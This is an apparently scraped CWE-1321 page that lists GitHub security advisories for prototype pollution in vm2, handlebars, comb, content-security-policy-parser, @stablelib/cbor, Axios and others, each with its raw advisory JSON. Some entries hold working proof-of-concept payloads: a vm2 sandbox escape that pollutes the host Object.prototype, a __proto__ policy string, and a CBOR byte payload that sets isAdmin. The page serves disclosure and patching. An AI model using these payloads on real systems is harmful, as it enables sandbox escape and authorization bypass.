Common Weakness Enumeration

CWE-1321

Allowed

Improperly Controlled Modification of Object Prototype Attributes ('Prototype Pollution')

Abstraction: Variant · Status: Incomplete

The product receives input from an upstream component that specifies attributes that are to be initialized or updated in an object, but it does not properly control modifications of attributes of the object prototype.

778 vulnerabilities reference this CWE, most recent first.

GHSA-VWQG-8V6M-FH9W

Vulnerability from github – Published: 2022-05-24 16:58 – Updated: 2022-12-02 21:30

Details

SugarCRM before 8.0.4 and 9.x before 9.0.2 allows PHP object injection in the UpgradeWizard module by an Admin user.

Severity

7.2 (High)


                  
                    CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H

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{
  "affected": [],
  "aliases": [
    "CVE-2019-17317"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1321"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2019-10-07T15:15:00Z",
    "severity": "MODERATE"
  },
  "details": "SugarCRM before 8.0.4 and 9.x before 9.0.2 allows PHP object injection in the UpgradeWizard module by an Admin user.",
  "id": "GHSA-vwqg-8v6m-fh9w",
  "modified": "2022-12-02T21:30:46Z",
  "published": "2022-05-24T16:58:09Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2019-17317"
    },
    {
      "type": "WEB",
      "url": "https://support.sugarcrm.com/Resources/Security/sugarcrm-sa-2019-044"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-VWRP-X96C-MHWQ

Vulnerability from github – Published: 2026-05-07 04:07 – Updated: 2026-05-14 20:36

Summary

vm2: Mutable Proxies for Host Intrinsic Prototypes Allows Sandbox Escape

Details

Summary

vm2's bridge exposes mutable proxies for real host-realm intrinsic prototypes and then forwards sandbox writes into the underlying host objects with otherReflectSet() and otherReflectDefineProperty(), which lets attacker-controlled JavaScript running in a default VM or inherited NodeVM mutate shared host Object.prototype, Array.prototype, and Function.prototype from inside the sandbox.

Details

BaseHandler.apply() unwraps sandbox-controlled receivers and arguments with otherFromThis() / otherFromThisArguments() and then directly invokes the real host function with ret = otherReflectApply(object, context, args), so any default-exposed host function that can surface a prototype getter becomes a prototype-walking primitive (lib/bridge.js:665-676). BaseHandler.get() special-cases proto and returns the host-side descriptor or proxy target prototype, which is enough for the attacker to reuse the host lookupGetter('proto') accessor repeatedly until the walk lands on host Object.prototype, Array.prototype, or Function.prototype (lib/bridge.js:590-616). Once the attacker has a proxy to a host intrinsic prototype, BaseHandler.set() performs value = otherFromThis(value); return otherReflectSet(object, key, value) === true;, which writes attacker-controlled data directly into the shared host object instead of keeping the mutation sandbox-local; BaseHandler.defineProperty() repeats the same design at otherReflectDefineProperty(object, prop, otherDesc) for descriptor-based writes (lib/bridge.js:641-649, lib/bridge.js:753-774). Existing validation does not stop the attack because the constructor filter only blocks one dangerous-property access pattern, setPrototypeOf() only blocks prototype replacement rather than ordinary property assignment, and containsDangerousConstructor() only protects one later re-unwrapping path instead of the initial host-prototype write sink (lib/bridge.js:494-530, lib/bridge.js:595-610, lib/bridge.js:660-662).

PoC

Run the following code snippet and observe that the value of vm2EscapeMarker is polluted:

const { VM } = require('vm2');
const vm = new VM();
vm.run(`
  const g = ({}).__lookupGetter__;
  const a = Buffer.apply;
  const p = a.apply(g, [Buffer, ['__proto__']]);
  const hostObjectProto = p.call(p.call(p.call(p.call(Buffer.of()))));
  hostObjectProto.vm2EscapeMarker = 'polluted-object-prototype';
`);
console.log({}.vm2EscapeMarker)

Impact

Sandbox escape and prototype pollution.

Severity

10.0 (Critical)


                  
                    CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:H/A:H

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{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 3.10.5"
      },
      "package": {
        "ecosystem": "npm",
        "name": "vm2"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "3.9.6"
            },
            {
              "fixed": "3.11.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-44005"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1321",
      "CWE-94"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-07T04:07:05Z",
    "nvd_published_at": "2026-05-13T18:16:17Z",
    "severity": "CRITICAL"
  },
  "details": "### Summary\nvm2\u0027s bridge exposes mutable proxies for real host-realm intrinsic prototypes and then forwards sandbox writes into the underlying host objects with otherReflectSet() and otherReflectDefineProperty(), which lets attacker-controlled JavaScript running in a default VM or inherited NodeVM mutate shared host Object.prototype, Array.prototype, and Function.prototype from inside the sandbox.\n\n### Details\nBaseHandler.apply() unwraps sandbox-controlled receivers and arguments with otherFromThis() / otherFromThisArguments() and then directly invokes the real host function with ret = otherReflectApply(object, context, args), so any default-exposed host function that can surface a prototype getter becomes a prototype-walking primitive ([lib/bridge.js:665-676](https://github.com/patriksimek/vm2/blob/408fc855f1cc1bbc2985b029465ee0e732ada433/lib/bridge.js#L665-L676)). BaseHandler.get() special-cases __proto__ and returns the host-side descriptor or proxy target prototype, which is enough for the attacker to reuse the host __lookupGetter__(\u0027__proto__\u0027) accessor repeatedly until the walk lands on host Object.prototype, Array.prototype, or Function.prototype ([lib/bridge.js:590-616](https://github.com/patriksimek/vm2/blob/408fc855f1cc1bbc2985b029465ee0e732ada433/lib/bridge.js#L590-L616)). Once the attacker has a proxy to a host intrinsic prototype, BaseHandler.set() performs value = otherFromThis(value); return otherReflectSet(object, key, value) === true;, which writes attacker-controlled data directly into the shared host object instead of keeping the mutation sandbox-local; BaseHandler.defineProperty() repeats the same design at otherReflectDefineProperty(object, prop, otherDesc) for descriptor-based writes ([lib/bridge.js:641-649](https://github.com/patriksimek/vm2/blob/408fc855f1cc1bbc2985b029465ee0e732ada433/lib/bridge.js#L641-L649), [lib/bridge.js:753-774](https://github.com/patriksimek/vm2/blob/408fc855f1cc1bbc2985b029465ee0e732ada433/lib/bridge.js#L753-L774)). Existing validation does not stop the attack because the constructor filter only blocks one dangerous-property access pattern, setPrototypeOf() only blocks prototype replacement rather than ordinary property assignment, and containsDangerousConstructor() only protects one later re-unwrapping path instead of the initial host-prototype write sink ([lib/bridge.js:494-530](https://github.com/patriksimek/vm2/blob/408fc855f1cc1bbc2985b029465ee0e732ada433/lib/bridge.js#L494-L530), [lib/bridge.js:595-610](https://github.com/patriksimek/vm2/blob/408fc855f1cc1bbc2985b029465ee0e732ada433/lib/bridge.js#L595-L610), [lib/bridge.js:660-662](https://github.com/patriksimek/vm2/blob/408fc855f1cc1bbc2985b029465ee0e732ada433/lib/bridge.js#L660-L662)).\n\n### PoC\nRun the following code snippet and observe that the value of vm2EscapeMarker is polluted:\n```\nconst { VM } = require(\u0027vm2\u0027);\nconst vm = new VM();\nvm.run(`\n  const g = ({}).__lookupGetter__;\n  const a = Buffer.apply;\n  const p = a.apply(g, [Buffer, [\u0027__proto__\u0027]]);\n  const hostObjectProto = p.call(p.call(p.call(p.call(Buffer.of()))));\n  hostObjectProto.vm2EscapeMarker = \u0027polluted-object-prototype\u0027;\n`);\nconsole.log({}.vm2EscapeMarker)\n```\n\n### Impact\nSandbox escape and prototype pollution.",
  "id": "GHSA-vwrp-x96c-mhwq",
  "modified": "2026-05-14T20:36:31Z",
  "published": "2026-05-07T04:07:05Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/patriksimek/vm2/security/advisories/GHSA-vwrp-x96c-mhwq"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-44005"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/patriksimek/vm2"
    },
    {
      "type": "WEB",
      "url": "https://github.com/patriksimek/vm2/releases/tag/v3.11.0"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "vm2: Mutable Proxies for Host Intrinsic Prototypes Allows Sandbox Escape"
}

GHSA-VXR4-RXW7-G7V6

Vulnerability from github – Published: 2021-12-16 14:30 – Updated: 2023-09-11 16:21

Summary

Prototype Pollution in comb

Details

All versions of package comb are vulnerable to Prototype Pollution via the deepMerge() function.

Severity

6.5 (Medium)


                  
                    CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:L

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{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "comb"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "last_affected": "2.0.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2021-23561"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1321"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2021-12-14T14:30:03Z",
    "nvd_published_at": "2021-12-10T20:15:00Z",
    "severity": "MODERATE"
  },
  "details": "All versions of package comb are vulnerable to Prototype Pollution via the `deepMerge()` function.",
  "id": "GHSA-vxr4-rxw7-g7v6",
  "modified": "2023-09-11T16:21:17Z",
  "published": "2021-12-16T14:30:56Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2021-23561"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/C2FO/comb"
    },
    {
      "type": "WEB",
      "url": "https://snyk.io/vuln/SNYK-JS-COMB-1730083"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:L",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Prototype Pollution in comb"
}

GHSA-W2CQ-G8G3-GM83

Vulnerability from github – Published: 2025-08-12 18:07 – Updated: 2025-08-12 19:19

Summary

content-security-policy-parser Prototype Pollution Vulnerability May Lead to RCE

Details

Impact

A prototype pollution vulnerability exists in versions 0.5.0 and earlier, wherein if you provide a policy name called __proto__ you can override the Object prototype.

For example:

const parse = require('content-security-policy-parser');

const x = parse("default-src 'self'; __proto__ foobar");
console.log('raw print:', x);
console.log('toString:', x.toString());

Outputs:

raw print: Array { 'default-src': [ "'self'" ] }
toString: foobar

Whilst no gadget exists in this library, it is possible via other libraries expose functionality that enable RCE. It is customary to label prototype pollution vulnerabilities in this way. The most common effect of this is denial of service, as you can trivially overwrite properties.

As the content security policy is provided in HTTP queries, it is incredibly likely that network exploitation is possible.

Patches

There has been a patch implemented a year ago (11 Feb 2024), but low uptake of patched versions has not been observed in the wild - only 17% of weekly downloads are of patched versions.

Workarounds

By disabling prototype method in NodeJS you can neutralise all possible prototype pollution attacks. Provide either --disable-proto=delete (recommended) or --disable-proto=throw as an argument to node to enable this feature.

References

Issue revealing the problem, January 26 2024 Commit fixing the problem

Credit to @EvanHahn for patching the vulnerability promptly, and @pnappa (Patrick Nappa) for discovery.

Severity

8.8 (High)


                  
                    CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:H/SC:N/SI:N/SA:N

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{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "content-security-policy-parser"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.6.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2025-55164"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1321"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2025-08-12T18:07:44Z",
    "nvd_published_at": "2025-08-12T16:15:29Z",
    "severity": "HIGH"
  },
  "details": "### Impact\nA prototype pollution vulnerability exists in versions 0.5.0 and earlier, wherein if you provide a policy name called `__proto__` you can override the Object prototype.\n\nFor example:\n\n```\nconst parse = require(\u0027content-security-policy-parser\u0027);\n\nconst x = parse(\"default-src \u0027self\u0027; __proto__ foobar\");\nconsole.log(\u0027raw print:\u0027, x);\nconsole.log(\u0027toString:\u0027, x.toString());\n```\n\nOutputs:\n\n```\nraw print: Array { \u0027default-src\u0027: [ \"\u0027self\u0027\" ] }\ntoString: foobar\n```\n\nWhilst no gadget exists in this library, it is possible via other libraries expose functionality that enable RCE. It is customary to label prototype pollution vulnerabilities in this way. The most common effect of this is denial of service, as you can trivially overwrite properties.\n\nAs the content security policy is provided in HTTP queries, it is incredibly likely that network exploitation is possible.\n\n### Patches\nThere has been a patch implemented a year ago (11 Feb 2024), but low uptake of patched versions has not been observed in the wild - only 17% of weekly downloads are of patched versions.\n\n### Workarounds\nBy disabling prototype method in NodeJS you can neutralise all possible prototype pollution attacks. Provide either `--disable-proto=delete` (recommended) or `--disable-proto=throw` as an argument to `node` to enable this feature.\n\n### References\n[Issue revealing the problem, January 26 2024](https://github.com/helmetjs/content-security-policy-parser/issues/11)\n[Commit fixing the problem](https://github.com/helmetjs/content-security-policy-parser/commit/b13a52554f0168af393e3e38ed4a94e9e6aea9dc)\n\nCredit to @EvanHahn for patching the vulnerability promptly, and @pnappa (Patrick Nappa) for discovery.",
  "id": "GHSA-w2cq-g8g3-gm83",
  "modified": "2025-08-12T19:19:42Z",
  "published": "2025-08-12T18:07:44Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/helmetjs/content-security-policy-parser/security/advisories/GHSA-w2cq-g8g3-gm83"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-55164"
    },
    {
      "type": "WEB",
      "url": "https://github.com/helmetjs/content-security-policy-parser/issues/11"
    },
    {
      "type": "WEB",
      "url": "https://github.com/helmetjs/content-security-policy-parser/commit/b13a52554f0168af393e3e38ed4a94e9e6aea9dc"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/helmetjs/content-security-policy-parser"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:H/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "content-security-policy-parser Prototype Pollution Vulnerability May Lead to RCE"
}

GHSA-W457-6Q6X-CGP9

Vulnerability from github – Published: 2019-12-26 17:58 – Updated: 2022-06-06 17:16

Summary

Prototype Pollution in handlebars

Details

Versions of handlebars prior to 3.0.8 or 4.3.0 are vulnerable to Prototype Pollution leading to Remote Code Execution. Templates may alter an Objects' __proto__ and __defineGetter__ properties, which may allow an attacker to execute arbitrary code through crafted payloads.

Recommendation

Upgrade to version 3.0.8, 4.3.0 or later.

Severity

9.8 (Critical)


                  
                    CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

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{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "handlebars"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "4.0.0"
            },
            {
              "fixed": "4.3.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "RubyGems",
        "name": "bootstrap-wysihtml5-rails"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0.3.3.5"
            },
            {
              "last_affected": "0.3.3.8"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "npm",
        "name": "handlebars"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "3.0.8"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2019-19919"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1321",
      "CWE-74"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2019-12-26T17:55:40Z",
    "nvd_published_at": "2019-12-20T23:15:00Z",
    "severity": "CRITICAL"
  },
  "details": "Versions of `handlebars` prior to 3.0.8 or 4.3.0 are vulnerable to Prototype Pollution leading to Remote Code Execution. Templates may alter an Objects\u0027 `__proto__` and `__defineGetter__` properties, which may allow an attacker to execute arbitrary code through crafted payloads.\n\n\n## Recommendation\n\nUpgrade to version 3.0.8, 4.3.0 or later.",
  "id": "GHSA-w457-6q6x-cgp9",
  "modified": "2022-06-06T17:16:15Z",
  "published": "2019-12-26T17:58:13Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2019-19919"
    },
    {
      "type": "WEB",
      "url": "https://github.com/wycats/handlebars.js/issues/1558"
    },
    {
      "type": "WEB",
      "url": "https://github.com/handlebars-lang/handlebars.js/commit/156061eb7707575293613d7fdf90e2bdaac029ee"
    },
    {
      "type": "WEB",
      "url": "https://github.com/handlebars-lang/handlebars.js/commit/90ad8d97ad2933852fb83fcc054699dc99e094db"
    },
    {
      "type": "WEB",
      "url": "https://github.com/wycats/handlebars.js/commit/2078c727c627f25d4a149962f05c1e069beb18bc"
    },
    {
      "type": "WEB",
      "url": "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-19919"
    },
    {
      "type": "WEB",
      "url": "https://github.com/Nerian/bootstrap-wysihtml5-rails/blob/master/vendor/assets/javascripts/bootstrap-wysihtml5/handlebars.runtime.min.js"
    },
    {
      "type": "WEB",
      "url": "https://github.com/Nerian/bootstrap-wysihtml5-rails/tree/master/vendor/assets/javascripts/bootstrap-wysihtml5"
    },
    {
      "type": "WEB",
      "url": "https://github.com/rubysec/ruby-advisory-db/blob/master/gems/bootstrap-wysihtml5-rails/CVE-2019-19919.yml"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/wycats/handlebars.js"
    },
    {
      "type": "WEB",
      "url": "https://www.tenable.com/security/tns-2021-14"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Prototype Pollution in handlebars"
}

GHSA-W48F-FWG7-WW6P

Vulnerability from github – Published: 2026-04-04 04:24 – Updated: 2026-04-07 14:23

Summary

@stablelib/cbor: Prototype poisoning via `__proto__` map keys in CBOR decoding

Details

Summary

@stablelib/cbor decodes CBOR maps into ordinary JavaScript objects and assigns attacker-controlled keys directly onto those objects. A CBOR map key named __proto__ therefore changes the prototype of the decoded object instead of becoming an ordinary data property.

Details

The decoder builds map results with a plain {} and then stores attacker-controlled keys using bracket assignment.

That is unsafe for special property names. In JavaScript, assigning to obj["__proto__"] on a normal object does not create a plain own property. It invokes the built-in __proto__ setter and replaces the object’s prototype if the supplied value is an object or null.

As a result, a CBOR payload containing a map entry like:

key: "__proto__"
value: { isAdmin: true }

does not decode to an object with an own property called __proto__. It decodes to an object whose prototype is now attacker-controlled. Any code that later reads properties through normal lookup will see inherited attacker-supplied values.

PoC

import { decode } from "@stablelib/cbor";

// CBOR:
// {
//   "__proto__": { "isAdmin": true }
// }
//
// a1                    map(1)
//   69                  text(9)
//     "__proto__"
//   a1                  map(1)
//     67                text(7)
//       "isAdmin"
//     f5                true

const payload = new Uint8Array([
  0xa1,
  0x69, 0x5f, 0x5f, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x5f, 0x5f,
  0xa1,
  0x67, 0x69, 0x73, 0x41, 0x64, 0x6d, 0x69, 0x6e,
  0xf5
]);

const obj = decode(payload);

console.log(Object.hasOwn(obj, "isAdmin")); // false
console.log(obj.isAdmin);                   // true
console.log(Object.getPrototypeOf(obj).isAdmin); // true

Impact

Any application that decodes untrusted CBOR into JavaScript objects can receive objects with attacker-controlled prototypes.

In practice, that can corrupt configuration objects, influence authorization checks, alter feature flags, and break application logic that relies on normal property lookup instead of strict own-property checks. If the decoded object is later merged into other objects, the impact can spread further.

Solution

Upgrade to version 2.0.4.

Severity

8.9 (High)


                  
                    CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:H/SA:N

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{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "@stablelib/cbor"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2.0.3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [],
  "database_specific": {
    "cwe_ids": [
      "CWE-1321"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-04-04T04:24:27Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "### Summary\n\n`@stablelib/cbor` decodes CBOR maps into ordinary JavaScript objects and assigns attacker-controlled keys directly onto those objects. A CBOR map key named `__proto__` therefore changes the prototype of the decoded object instead of becoming an ordinary data property.\n\n### Details\n\nThe decoder builds map results with a plain `{}` and then stores attacker-controlled keys using bracket assignment.\n\nThat is unsafe for special property names. In JavaScript, assigning to `obj[\"__proto__\"]` on a normal object does not create a plain own property. It invokes the built-in `__proto__` setter and replaces the object\u2019s prototype if the supplied value is an object or `null`.\n\nAs a result, a CBOR payload containing a map entry like:\n\n* key: `\"__proto__\"`\n* value: `{ isAdmin: true }`\n\ndoes not decode to an object with an own property called `__proto__`. It decodes to an object whose prototype is now attacker-controlled. Any code that later reads properties through normal lookup will see inherited attacker-supplied values.\n\n### PoC\n\n```js\nimport { decode } from \"@stablelib/cbor\";\n\n// CBOR:\n// {\n//   \"__proto__\": { \"isAdmin\": true }\n// }\n//\n// a1                    map(1)\n//   69                  text(9)\n//     \"__proto__\"\n//   a1                  map(1)\n//     67                text(7)\n//       \"isAdmin\"\n//     f5                true\n\nconst payload = new Uint8Array([\n  0xa1,\n  0x69, 0x5f, 0x5f, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x5f, 0x5f,\n  0xa1,\n  0x67, 0x69, 0x73, 0x41, 0x64, 0x6d, 0x69, 0x6e,\n  0xf5\n]);\n\nconst obj = decode(payload);\n\nconsole.log(Object.hasOwn(obj, \"isAdmin\")); // false\nconsole.log(obj.isAdmin);                   // true\nconsole.log(Object.getPrototypeOf(obj).isAdmin); // true\n```\n\n### Impact\n\nAny application that decodes untrusted CBOR into JavaScript objects can receive objects with attacker-controlled prototypes.\n\nIn practice, that can corrupt configuration objects, influence authorization checks, alter feature flags, and break application logic that relies on normal property lookup instead of strict own-property checks. If the decoded object is later merged into other objects, the impact can spread further.\n\n### Solution\n\nUpgrade to version 2.0.4.",
  "id": "GHSA-w48f-fwg7-ww6p",
  "modified": "2026-04-07T14:23:12Z",
  "published": "2026-04-04T04:24:27Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/StableLib/stablelib/security/advisories/GHSA-w48f-fwg7-ww6p"
    },
    {
      "type": "WEB",
      "url": "https://github.com/StableLib/stablelib/commit/0f153a63b7552a0e8721f640984113e419015026"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/StableLib/stablelib"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:H/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "@stablelib/cbor: Prototype poisoning via `__proto__` map keys in CBOR decoding"
}

GHSA-W545-G5FP-84FQ

Vulnerability from github – Published: 2023-05-08 21:31 – Updated: 2024-04-04 03:52

Details

A prototype pollution vulnerability exists in Strikingly CMS which can result in reflected cross-site scripting (XSS) in affected applications and sites built with Strikingly. The vulnerability exists because of Strikingly JavaScript library parsing the URL fragment allows access to the proto or constructor properties and the Object prototype. By leveraging an embedded gadget like jQuery, an attacker who convinces a victim to visit a specially crafted link could achieve arbitrary javascript execution in the context of the user's browser.

Severity

6.1 (Medium)


                  
                    CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N

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{
  "affected": [],
  "aliases": [
    "CVE-2023-2582"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1321"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2023-05-08T21:15:11Z",
    "severity": "MODERATE"
  },
  "details": "A prototype pollution vulnerability exists in Strikingly CMS which can result in reflected cross-site scripting (XSS) in affected applications and sites built with Strikingly. The vulnerability exists because of Strikingly JavaScript library parsing the URL fragment allows access to the __proto__ or constructor properties and the Object prototype. By leveraging an embedded gadget like jQuery, an attacker who convinces a victim to visit a specially crafted link could achieve arbitrary javascript execution in the context of the user\u0027s browser.",
  "id": "GHSA-w545-g5fp-84fq",
  "modified": "2024-04-04T03:52:48Z",
  "published": "2023-05-08T21:31:08Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-2582"
    },
    {
      "type": "WEB",
      "url": "https://www.tenable.com/security/research/tra-2023-18"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-W58V-R3CP-QR93

Vulnerability from github – Published: 2024-07-01 15:32 – Updated: 2024-07-05 17:48

Summary

@amoy/common v was discovered to contain a prototype pollution via the function extend

Details

amoyjs amoy common v1.0.10 was discovered to contain a prototype pollution via the function extend. This vulnerability allows attackers to execute arbitrary code or cause a Denial of Service (DoS) via injecting arbitrary properties.

Severity

7.3 (High)


                  
                    CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L

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{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "@amoy/common"
      },
      "versions": [
        "1.0.10"
      ]
    }
  ],
  "aliases": [
    "CVE-2024-38994"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1321"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2024-07-01T21:52:10Z",
    "nvd_published_at": "2024-07-01T13:15:05Z",
    "severity": "HIGH"
  },
  "details": "amoyjs amoy common v1.0.10 was discovered to contain a prototype pollution via the function extend. This vulnerability allows attackers to execute arbitrary code or cause a Denial of Service (DoS) via injecting arbitrary properties.",
  "id": "GHSA-w58v-r3cp-qr93",
  "modified": "2024-07-05T17:48:11Z",
  "published": "2024-07-01T15:32:15Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-38994"
    },
    {
      "type": "WEB",
      "url": "https://gist.github.com/mestrtee/02091aa86c6c14c29b9703642439dd03"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L",
      "type": "CVSS_V3"
    }
  ],
  "summary": "@amoy/common v was discovered to contain a prototype pollution via the function extend"
}

GHSA-W8F3-PVX4-4C3H

Vulnerability from github – Published: 2021-05-06 18:11 – Updated: 2022-12-03 04:07

Summary

Prototype Pollution in arr-flatten-unflatten

Details

All versions of package arr-flatten-unflatten up to and including version 1.1.4 are vulnerable to Prototype Pollution via the constructor.

Severity

9.8 (Critical)


                  
                    CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

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{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "arr-flatten-unflatten"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "last_affected": "1.1.4"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2020-7713"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1321"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2021-05-05T19:00:34Z",
    "nvd_published_at": "2020-09-01T09:15:00Z",
    "severity": "CRITICAL"
  },
  "details": "All versions of package arr-flatten-unflatten up to and including version 1.1.4 are vulnerable to Prototype Pollution via the constructor.",
  "id": "GHSA-w8f3-pvx4-4c3h",
  "modified": "2022-12-03T04:07:10Z",
  "published": "2021-05-06T18:11:39Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2020-7713"
    },
    {
      "type": "WEB",
      "url": "https://github.com/Quernest/arr-flatten-unflatten/pull/8"
    },
    {
      "type": "WEB",
      "url": "https://github.com/Quernest/arr-flatten-unflatten/commit/cb4351c75f87a4fbec3b6140c40ee2993f574372"
    },
    {
      "type": "WEB",
      "url": "https://snyk.io/vuln/SNYK-JS-ARRFLATTENUNFLATTEN-598396"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Prototype Pollution in arr-flatten-unflatten"
}

GHSA-W9J2-PVGH-6H63

Vulnerability from github – Published: 2026-05-05 00:21 – Updated: 2026-05-05 00:21

Summary

Axios: Authentication Bypass via Prototype Pollution Gadget in `validateStatus` Merge Strategy

Details

Vulnerability Disclosure: Authentication Bypass via Prototype Pollution Gadget in `validateStatus` Merge Strategy

Summary

The Axios library is vulnerable to a Prototype Pollution "Gadget" attack that allows any Object.prototype pollution to silently suppress all HTTP error responses (401, 403, 500, etc.), causing them to be treated as successful responses. This completely bypasses application-level authentication and error handling.

The root cause is that validateStatus is the only config property using the mergeDirectKeys merge strategy, which uses JavaScript's in operator — an operator that inherently traverses the prototype chain. When Object.prototype.validateStatus is polluted with () => true, all HTTP status codes are accepted as success.

Severity: High (CVSS 8.2) Affected Versions: All versions (v0.x - v1.x including v1.15.0) Vulnerable Component: lib/core/mergeConfig.js (mergeDirectKeys strategy) + lib/core/settle.js

CWE

CWE-1321: Improperly Controlled Modification of Object Prototype Attributes ('Prototype Pollution')
CWE-287: Improper Authentication

CVSS 3.1

